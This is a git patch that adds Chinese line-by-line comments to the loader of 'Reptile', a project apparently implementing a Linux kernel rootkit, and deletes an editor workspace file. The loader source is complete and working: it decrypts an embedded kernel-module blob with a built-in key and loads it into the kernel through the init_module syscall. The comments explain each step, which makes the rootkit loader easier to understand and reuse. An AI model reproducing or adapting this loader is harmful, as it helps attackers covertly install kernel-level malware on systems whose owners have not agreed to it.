From 9416688cec02b1d7c7e360745cafab6f9974ced9 Mon Sep 17 00:00:00 2001 From: waiwai <3027307205@qq.com> Date: Mon, 16 Dec 2024 21:16:41 +0800 Subject: [PATCH] something wrong --- src/Reptile/kernel/loader/loader.c | 26 ++++++++++++++------------ src/Reptile/reptile.code-workspace | 12 ------------ 2 files changed, 14 insertions(+), 24 deletions(-) delete mode 100644 src/Reptile/reptile.code-workspace diff --git a/src/Reptile/kernel/loader/loader.c b/src/Reptile/kernel/loader/loader.c index f9fc7a0..1bbab3e 100644 --- a/src/Reptile/kernel/loader/loader.c +++ b/src/Reptile/kernel/loader/loader.c @@ -11,27 +11,29 @@ #include "encrypt.h" +// 包含 reptile.ko.inc 文件中的二进制数据 static char reptile_blob[] = { #include "reptile.ko.inc" }; +// 定义 init_module 宏,调用系统调用 __NR_init_module #define init_module(module_image, len, param_values) syscall(__NR_init_module, module_image, len, param_values) int main(void) { - int ret = EXIT_FAILURE; - size_t len; - void *module_image; + int ret = EXIT_FAILURE; // 初始化返回值为失败 + size_t len; // 模块长度 + void *module_image; // 模块镜像指针 - len = sizeof(reptile_blob); - do_decrypt(reptile_blob, len, DECRYPT_KEY); - module_image = malloc(len); - memcpy(module_image, reptile_blob, len); - init_module(module_image, len, ""); + len = sizeof(reptile_blob); // 获取模块长度 + do_decrypt(reptile_blob, len, DECRYPT_KEY); // 解密模块数据 + module_image = malloc(len); // 分配内存 + memcpy(module_image, reptile_blob, len); // 复制解密后的数据到分配的内存中 + init_module(module_image, len, ""); // 初始化模块 - if (errno == 37) - ret = EXIT_SUCCESS; + if (errno == 37) // 检查错误码是否为 37 (模块已存在) + ret = EXIT_SUCCESS; // 设置返回值为成功 - free(module_image); - return ret; + free(module_image); // 释放内存 + return ret; // 返回结果 } diff --git a/src/Reptile/reptile.code-workspace b/src/Reptile/reptile.code-workspace deleted file mode 100644 index d18652a..0000000 --- a/src/Reptile/reptile.code-workspace +++ /dev/null @@ -1,12 +0,0 @@ -{ - "folders": [ - { - "path": "../.." - }, - { - "name": "reptile", - "path": "../../reptile" - } - ], - "settings": {} -} \ No newline at end of file